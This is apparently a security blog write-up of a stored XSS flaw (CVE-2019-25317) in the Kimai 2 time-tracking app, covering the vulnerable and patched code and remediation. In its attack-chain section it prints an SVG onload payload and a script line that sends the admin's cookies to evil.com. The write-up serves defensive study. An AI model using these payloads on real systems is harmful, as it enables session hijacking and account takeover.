Feb 11, 2026·6 min read·26 visits
Kimai 2 < 1.1 contains a Stored XSS vulnerability in the timesheet description field. The application failed to sanitize Markdown input, allowing authenticated users to inject arbitrary HTML/JavaScript. When an admin views the timesheet, the payload executes, leading to potential session hijacking.
In the world of open-source time tracking, Kimai 2 is a popular choice for freelancers and companies alike. However, a nasty skeleton was hiding in the closet (or rather, the timesheets) of versions prior to 1.1. This vulnerability, a classic Stored Cross-Site Scripting (XSS) flaw, allowed any disgruntled employee with basic access to turn their weekly report into a weapon against their employer. By abusing the application's markdown rendering logic, attackers could inject malicious JavaScript that would execute the moment an administrator reviewed the logged hours.
Time tracking software is usually the most boring part of a developer's day. You log your hours, you describe what you did, and you hope someone approves the invoice. But in Kimai 2, that mundane 'description' field was a ticking time bomb. CVE-2019-25317 is a Stored Cross-Site Scripting (XSS) vulnerability that turned the simple act of logging work into a vector for privilege escalation.
The premise is simple: Kimai allows users to format their timesheet descriptions using Markdown. This is a nice feature for readability—bold text, lists, maybe a link to a commit. However, the developers forgot the golden rule of web security: never trust user input. Because the application blindly rendered Markdown into HTML without sanitization, it created a scenario where a low-privileged user (like a contractor or junior dev) could plant a trap for a high-privileged user (like a project manager or admin).
It’s a classic "watering hole" attack, but the watering hole is the payroll system. The attacker doesn't need to phish the admin; they just need to wait for payday. When the admin logs in to approve hours, the browser executes the malicious payload, potentially handing over session cookies and administrative control on a silver platter.
The root cause of this vulnerability lies in how Kimai handled Markdown parsing. Markdown parsers often have a "feature" that allows raw HTML to be embedded directly into the text. If you don't explicitly disable this feature, <script>alert(1)</script> is valid Markdown. And that is exactly what happened here.
Kimai utilized a Twig filter called desc2html to process user input. This filter mapped back to a PHP method markdownToHtml within the MarkdownExtension.php file. The critical error wasn't in using Markdown, but in the configuration of the parser. The developers explicitly told the parser to allow HTML tags.
Here is the logic flaw in a nutshell: The application took the user's raw input from the database and passed it directly to a parser configured to respect HTML tags. It didn't strip dangerous tags, it didn't encode entities, and it didn't use a Content Security Policy (CSP) to mitigate the damage. It just rendered whatever the user typed, effectively letting the inmates run the asylum.
Let's look at the code. The vulnerability existed primarily in src/Twig/MarkdownExtension.php. The markdownToHtml function accepted content and passed it to the underlying markdown engine. Notice the second parameter in the toHtml call below.
Vulnerable Code (Before Patch):
public function markdownToHtml(string $content): string
{
// The 'true' flag here enables raw HTML parsing!
return $this->markdown->toHtml($content, true);
}That single true boolean was the difference between a bold font and a stolen session. But it gets worse. In the Twig templates (like templates/timesheet/index.html.twig), the output was piped directly to this filter without any prior escaping.
Vulnerable Template:
<td class="timesheet-description">
{{ entry.description|desc2html }}
</td>The Fix (Commit a0e8aa):
The patch did two things. First, it flipped the boolean to false in the PHP extension to disable raw HTML. Second, and perhaps more importantly, it updated the templates to escape the input before passing it to the markdown converter. This ensures that even if the parser slips up, the browser sees <script> instead of <script>.
Patched Code:
public function markdownToHtml(string $content): string
{
return $this->markdown->toHtml($content, false);
}Patched Template:
<td class="timesheet-description">
{{ entry.description|escape|desc2html }}
</td>Exploiting this is trivially easy for anyone with an account. You don't need fancy tools; a browser and a bit of malice will do. The goal is to inject a JavaScript payload that executes when the victim views the timesheet listing.
The Attack Chain:
/timesheet/create."><svg/onload=alert('System_Compromised')>"> helps break out of any potential attribute contexts, though in this case, we are mostly just concerned with the raw rendering.onload event fires immediately, executing the JavaScript.In a real-world scenario, an attacker wouldn't just pop an alert box. They would inject something like this to steal the admin's session ID:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>Once the attacker has the PHPSESSID, they can hijack the admin's session, create a new admin account for themselves, or exfiltrate sensitive client data.
Why should we care about XSS in an internal tool? Because internal tools often hold the keys to the kingdom. Kimai is used for invoicing, project management, and budget tracking. Access to this system as an administrator allows an attacker to:
The CVSS score is 6.4 (Medium), which feels deceptively low. In a targeted engagement, this is a gold mine. It turns a valid, low-privilege access credential into full administrative control with zero interaction required from the attacker after the initial implant.
The fix is straightforward, but it highlights the importance of defense-in-depth.
Immediate Steps:
kimai2_timesheet table. Run a SQL query looking for %<script>%, %onload=%, or %javascript:%. If you find any, you might already have a breach.Developer Takeaway:
When using template engines like Twig, always understand the order of operations. escape filters should usually come first when dealing with user input that will be transformed by another filter. Relying solely on the markdown parser's configuration is risky; explicit escaping provides a safety net that catches errors even if the parser configuration accidentally changes in the future.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Kimai 2 Kevin Papst | <= 1.0.1 | 1.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| CVSS v3.1 | 6.4 (Medium) |
| Attack Vector | Network (Stored) |
| Privileges Required | Low (Authenticated User) |
| Impact | Confidentiality & Integrity (Session Hijacking) |
| Exploit Status | PoC Available (EDB-47286) |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
An uncontrolled resource consumption vulnerability exists in the Docling document conversion library. Maliciously structured HTML, JATS, ODS, or BoxNote inputs containing table cells with excessively large 'rowspan' or 'colspan' attribute values trigger algorithmic complexity conditions. This allows unauthenticated remote attackers to initiate resource exhaustion states, crashing or hanging the target document processing pipeline while bypassing configured timeouts.
A Local File Inclusion (LFI) and Arbitrary File Disclosure vulnerability exists in Docling and Docling Slim versions >= 2.16.0 up to 2.131.0. When parsing serialized DoclingDocument structures using the JSON input format, the backend fails to restrict image URI schemes, allowing remote attackers to retrieve local files and verify path existence on the host system during embedded document export.
Docling, a tool for parsing and processing diverse document formats, is vulnerable to arbitrary file read, arbitrary file write, and potential remote code execution (RCE) in versions 2.94.0 through 2.131.0. The vulnerability occurs when applications configure Docling to use the Tectonic engine for rendering TikZ diagrams into images. Because the compilation did not restrict hazardous TeX primitives or sandbox the environment, an attacker can supply crafted documents containing malicious TikZ definitions to access or modify local files and execute arbitrary commands under the privileges of the processing application.
An SSRF guard bypass vulnerability in the Docling document conversion engine allows unauthenticated attackers to bypass internal IP access controls. The vulnerability exists due to a DNS rebinding Time-of-Check Time-of-Use (TOCTOU) condition, URL authority parsing inconsistencies, and unvalidated network requests triggered during headless browser page rendering.
A technical analysis of CVE-2026-105742 (GHSA-p3fw-7699-7926), a sensitive information disclosure vulnerability in the Docling document processing library. Vulnerable versions of Docling indiscriminately forward custom HTTP headers, such as authentication tokens, to arbitrary third-party origins and during cross-origin redirects while fetching remote image assets from untrusted HTML and EPUB documents.
CVE-2026-106121 is a Denial of Service (DoS) vulnerability in the RabbitMQ Java Client library (amqp-client) affecting versions prior to 5.37.0. The vulnerability resides in the legacy, custom JSON-RPC parsing class com.rabbitmq.tools.json.JSONReader. When parsing malformed or truncated payloads ending within a quoted string or single-line comment, the parser's scanner enters an infinite loop. This occurs because the loop lacks an exit condition for the end-of-input sentinel character returned by the iterator, leading to either CPU exhaustion or a JVM crash from an OutOfMemoryError.